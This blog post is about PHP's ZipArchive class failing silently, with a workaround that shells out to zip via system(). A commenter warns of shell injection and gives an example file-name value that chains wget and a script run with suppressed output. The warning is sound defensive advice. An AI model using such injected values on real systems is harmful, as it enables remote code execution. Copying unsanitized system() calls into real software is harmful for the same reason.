You Are Here Home > The annoying PHP ZipArchive class

The annoying PHP ZipArchive class

This is very rare, PHP’s extensions are usually well done but this one, ZipArchive class is very annoying and I’m very surprised that it’s now in PHP’s distribution…

In my case, it doesn’t create the archive for some reason and it doesn’t throw any errors either.

http://us3.php.net/manual/en/class.ziparchive.php

I’m very disappointed and I wasted a lot of time and yes, all the permissions etc. are right.

So ended up using system calls; first create a temporary folder and then something like:

system("zip -r THE_ZIP_FILE.zip PATH_TO_THE_TMP_FOLDER");

And now the problem with this is that it’s not portable, it’s fine in my case though.

The annoying PHP ZipArchive class
Filed under: Annoying Stuff, PHP, Web Development   Posted by: Codehead

Got a Question?

Get answers here.

6 Comments »

  1. rbu:
     

    You have to make sure the filename and temp path does not contain shell meta characters. If an attacker can control, e.g., the “THE_ZIP_FILE” part, he can set it to “zz.zip /tmp ; { wget blabla ; sh ./exploit ; > /dev/null 2>&1 }; true ” and you will not even see anything in the error log.

    Comment

  2. Codehead:
     

    Everything in that command is generated by me and not by the user but that is right, whoever wants to use it must be careful…

    Comment

  3.  

    Did you ever get to the bottom of why you couldn’t get the ZipArchive class to save?
    I’m having the exact same problem, and I’m tearing my hair out because I need it to work! PHP on my server isn’t allowed to execute commands or system calls, so this seems to be the only solution.

    Thanks

    Comment

  4. Codehead:
     

    Sadly, I didn’t find a solution, I have a dedicated server so I can use system calls; I would bug the developer about this…

    Comment

  5. Spectrum Overdose:
     

    Same problem here. This is so annoying. And the ZipArchive status reports “No error”.

    Comment

  6.  

    There are many classes for zip in http://www.phpclasses.org … even i had this same problem … and i used one which worked perfectly well and did the job … plz search at the given link … i dont remember the name exactly..

    btw your blog is kool and very informative :)

    Comment

RSS feed for comments on this post. TrackBack URL

Leave a comment